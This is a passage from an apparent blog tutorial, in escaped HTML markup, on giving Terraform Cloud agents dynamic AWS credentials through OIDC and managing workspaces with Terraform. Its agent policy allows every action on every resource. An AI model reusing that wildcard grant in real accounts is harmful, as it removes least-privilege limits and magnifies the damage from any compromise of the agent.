style=\"color:#ADBAC7\"\u003etfc_certificate\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003ecertificates[\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e]\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003esha1_fingerprint\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e ]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#768390\"\u003e/* Policy to allow TFC to assume the AWS IAM role in our account */\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003edata\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"aws_iam_policy_document\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"assume_role\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e statement\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e effect\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"Allow\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e principals\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e type\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"Federated\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e identifiers\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [aws_iam_openid_connect_provider\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003etfc_provider\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003earn]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e condition\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e test\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"StringEquals\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e variable\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e${\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003evar\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003etfc_hostname\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e:aud\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e values\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e${\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003eone\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e(aws_iam_openid_connect_provider\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003etfc_provider\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eclient_id_list\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e ]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e condition\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e test\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"StringLike\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e variable\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e${\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003evar\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003etfc_hostname\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e:sub\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e values\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e for\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e workspace \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003ein\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e var\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003etfc_workspaces \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"organization:\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e${\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003etfe_organization\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eorganization\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003ename\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e:project:\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e${\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003evar\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003etfc_project_name\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e:workspace:\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e${\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eworkspace\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e:run_phase:*\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e ]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e actions\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"sts:AssumeRoleWithWebIdentity\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eresource\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"aws_iam_role\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"tfc-agent\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e name\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"tfc-agent\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e assume_role_policy\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e data\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eaws_iam_policy_document\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eassume_role\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003ejson\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#768390\"\u003e/* Policy for what the TFC agent is allowed to do */\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003edata\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"aws_iam_policy_document\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"tfc-agent\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e version\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"2012-10-17\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e statement\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e actions\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"*\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e effect\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"Allow\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e resources\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"*\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eresource\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"aws_iam_policy\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"tfc-agent\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e name\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"tfc-agent-access-policy\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e description\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"Access policy for the TFC agent\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e policy\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e data\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eaws_iam_policy_document\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003etfc-agent\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003ejson\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eresource\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"aws_iam_role_policy_attachment\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"tfc-access-attach\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e role\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e aws_iam_role\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003etfc-agent\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003ename\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e policy_arn\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e aws_iam_policy\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003etfc-agent\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003earn\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eresource\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"tfe_workspace\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"workspaces\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e count\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e length\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(var\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003etfc_workspaces)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e name\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e var\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003etfc_workspaces[count\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eindex]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e organization\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e tfe_organization\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eorganization\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003ename\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e working_directory\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e var\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003etfc_workspaces[count\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eindex]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#768390\"\u003e/* These variables tell the agent to use dynamic credentials */\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eresource\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"tfe_variable\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"tfc-auth\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e count\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e length\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(var\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003etfc_workspaces)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e key\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"TFC_AWS_PROVIDER_AUTH\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e value\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e true\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e category\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"env\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e workspace_id\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e tfe_workspace\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eworkspaces[count\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eindex]\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eid\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e description\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"Enable dynamic auth on the TFC agents\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eresource\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"tfe_variable\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"tfc-role\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e count\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e length\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(var\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003etfc_workspaces)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e key\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"TFC_AWS_RUN_ROLE_ARN\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e value\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e aws_iam_role\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003etfc-agent\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003earn\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e category\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"env\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e workspace_id\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e tfe_workspace\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eworkspaces[count\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eindex]\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eid\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e description\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"Tell TFC what Role to run as\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThis module is dynamic because there is one piece that will require a\nmanual oauth setup for github. So the first pass will apply without it\nand then later on we will create it and run the apply again.\u003c/p\u003e\n\u003ch2\u003eApplying the changes\u003c/h2\u003e\n\u003cp\u003eNow we just need to define our settings for the module and we will get our\ninfrastructure applied. Create a file called \u003ccode\u003esettings.auto.tfvars\u003c/code\u003e and\npopulate it with the content for your account. This is an example of what\nthis should look like:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"hcl\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"hcl\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003etfc_organization_name\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"sontek\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003etfc_organization_owner\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"john@sontek.net\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#768390\"\u003e# The workspaces you want to create and be able to manage with IaC\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003etfc_workspaces\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"root\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#768390\"\u003e# this can be your username\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003egithub_organization\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"sontek\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003egithub_repo_name\u003c/span\u003e\u003cspan 